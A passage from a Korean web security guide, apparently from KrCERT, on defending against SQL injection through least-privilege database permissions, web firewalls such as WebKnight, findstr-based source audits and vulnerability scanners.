일반적인 SQL Injection 공격의경우오류메시지를기반으로정보를추출하게되므로, 이설정변경만으로도방어효과를볼수있다. 다만, Blindfolded SQL Injection [1] 이나시스템명령어를수행하는 SQL Injection공격은차단할수없으므로반드시프로그램수정의보완조치로활용해야한다. SQL 서버보안강화웹페이지와 MS-SQL 서버를연동할때, 데이터베이스의관리자계정인 SA 계정을사용하게되면공격자가악용할수있으므로매우위험하다. 그러므로반드시사용자계정을사용하고최소권한만을할당하여사용해야한다. 또한, 앞서분석한공격스크립트의경우시스템테이블인 Syscolumns와 Sysobjects의정보를이용하고있으므로, 반드시필요하지않은경우라면사용자계정이나 public 계정에할당되어있는 SELECT 권한을제거하는것이안전하다. [1] http://www.imperva.com/resources/adc/blind_sql_server_injection.html - 18 -

그리고위의설정을명령어를통해실행시키고자한다면아래의스크립트와 같이실행하면된다. use < 사용자데이터베스명 > go DENY SELECT ON sysobjects TO userid DENY SELECT ON syscolumns TO userid go 위의명령을실행하면 userid 라는사용자계정에대해서 Sysobjects 및 Syscolumns 테이블에대한 SELECT 권한을제한하게되며, 해당사용자계정에서 Sysobjects나 Syscolumns 시스템테이블조회시다음과같은오류와함께실패하게된다. [ 오류메시지 ] 서버 : 메시지 229, 수준 14, 상태 5, 줄 1 'dbo' 소유자, 'pubs' 데이터베이스, 'sysobjects' 개체에대한 SELECT 사용권한이거부되었습니다. - 19 -

만약특정사용자계정에대해서 Sysobjects 및 Syscolumns 시스템테이블에대한 SELECT 권한을다시부여하려면아래와같이실행하면된다. use < 사용자데이터베스명 > go GRANT SELECT ON sysobjects TO userid GRANT SELECT ON syscolumns TO userid go 4) 웹방화벽활용웹보안취약점의근본적인문제해결을위해서는프로그램의보완조치가반드시필요하다. 하지만운영중인홈페이지에서프로그램수정으로인한문제들도검토하여조치해야하기때문에, 그시간동안은웹방화벽이나부가적인보완조치들을통해시간을확보할수있다. 예를들어윈도우즈의 IIS 환경이라면 URLScan [1] 이나공개웹방화벽 WebKnight [2] 를활용하여보안수준을향상시킬수있다. 특히 WebKnight의경우는 의공개웹방화벽안내페이지 [3] 에서각종가이드와표준정책및기술지원도제공하고있다. 참고로이번분석에서언급한, 쿠키에대한 SQL Injection공격을차단하기위해서는반드시그림과같이해당기능을활성화해야한다. HTTP 헤더의특성상특수문자가많이사용되므로, 차단설정후에는일정 기간동안로그모니터링을통해서비스에문제가없는지확인해야한다. [1] URLScan 도구를구성하는방법 http://support.microsoft.com/kb/326444/ko [2] http://www.aqtronix.com [3] 공개웹방화벽안내홈페이지 www.krcert.or.kr > 공개웹방화벽배너참조 - 20 -

하지만, 어디까지나웹방화벽은보완장치로활용해야하며, 프로그램수정조치등의근본적인원인제거가반드시수행되어야한다. 예를들어전쟁에나간병사가아무리튼튼한갑옷을입었더라도건강하지않거나기본체력이충분치않다면결국그갑옷조차무용지물이될것이다. 5) 웹보안취약점점검설계와구현에있어서안전한개발절차에따라개발되었더라도존재할수있는보안문제들을점검하고진단하는과정이필요하다. 특히 SQL Injection의경우는프로그램소스상에서입력값검증이적절히이루어졌는지점검 (White box test) 해보고웹취약점점검도구를병행하여점검 (Black box test) 해본다면더욱더안전한웹서비스운영이될것이다. 예를들어마이크로소프트에서제공하는소스코드검사도구인 Microsoft Source Code Analyzer for SQL Injection [1] 을활용하거나, 윈도우즈내장명령어인 findstr 을통해외부로부터입력받는데이터가검증함수를거치는지확인해볼필요가있다. 아래의점검예제는 "findstr" 명령어를사용하여입력값을받는프로그램소스부분을검사하는예제이다. 아래의예시대로검사하면입력값검증함수를동일행에서처리하지않는경우를찾아볼수있다. findstr /I /S /G [request 객체목록 ] *.asp findstr /I /V "[ 입력값검증함수명 ]" 예 ) findstr /I /S /G arglist.txt *.asp findstr /I /V "inputfilter\(" [1] http://support.microsoft.com/default.aspx/kb/954476-21 -

arglist.txt request.form request.querystring request.servervariables request.cookies request\( 그리고웹취약점점검도구를사용해서진단해볼수도있는데, 웹보안점검도구는 sectools.org [1] 나 NIST 홈페이지 [2] 등에서소개하고있다. 또한, PAROS, N-Stealth, Scrawlr, Wikto 등의무료점검도구들을활용하여점검해볼수있다. 그리고 에서제공하는원격웹취약점점검서비스를이용하면웹취약점원격점검서비스를제공받을수있으며, 점검신청은홈페이지 (http://webcheck.krcert.or.kr) 에서접수받고있다. 다만, 비영리단체나영세기업등정보보호취약계층을대상으로제공하므로서비스대상에해당하는경우에만서비스받을수있다. [1] http://sectools.org/web-scanners.html [2] https://samate.nist.gov/index.php/web_application_vulnerability_scanners - 22 -

웹서비스의논리적오류나특화된서비스에대해정밀한점검이필요한경우에는현황파악과문제점진단과정에있어서매우전문적인인력과많은시간이필요하다. 그러므로정보보호전문업체의컨설팅을통해더욱더깊이있고상세한진단을받을것을권고한다. - 23 -

4. 맺음말 인터넷홈페이지를운영한다면대부분의접속자들은홈페이지운영자의고객일것이다. 하지만공격자들로인해악성코드가삽입되고, 이러한악성코드때문에접속자들이피해를입는다면, 웹서버침해사고로인한손실보다더욱더심각한문제로발전하게된다. 예를들어기업의제품홍보페이지에접속했다가악성코드에다수의고객 PC가감염된다면그기업은치명적이고심각한문제에직면할것이다. 그러므로시행착오를겪더라도보안수준강화를위한일련의업무들을절차로확립하고꾸준히개선시켜나간다면성공적인서비스운영뿐만아니라그경험조차큰자산이될것이다. 마지막으로프로그램개발이나서버관리도사람이하는일이므로실수는있기마련이지만, 그실수조차도방지하는데도움이될수있도록 Foolproof 라는개념을소개한다. Foolproof 는사람이실수할수없도록사전에예방장치를마련하는개념이며, 컴퓨터의파일삭제나하드디스크포맷시에사용자에게경고를하는절차를예로들수있으며, 자동차의경우에브레이크를밟지않은상태에서는시동이걸리지않도록하는장치등이해당된다. 아래의그림은 LAN에서흔히쓰는 RJ-45 커넥터와비디오카메라뒷면의각종연결포트들이다. - 24 -

그림을살펴보면각종케이블의연결포트들이사람이실수하더라도잘못끼울수없도록만들었기때문에사람의실수를미연에방지할수있다. 소프트웨어개발이나서버관리에도이러한개념을도입하여효과적인체크리 스트를개발하고적용하는노력과함께안전한서버운영절차를마련하고개선 시켜나간다면보안수준향상에큰도움이될것이다. - 25 -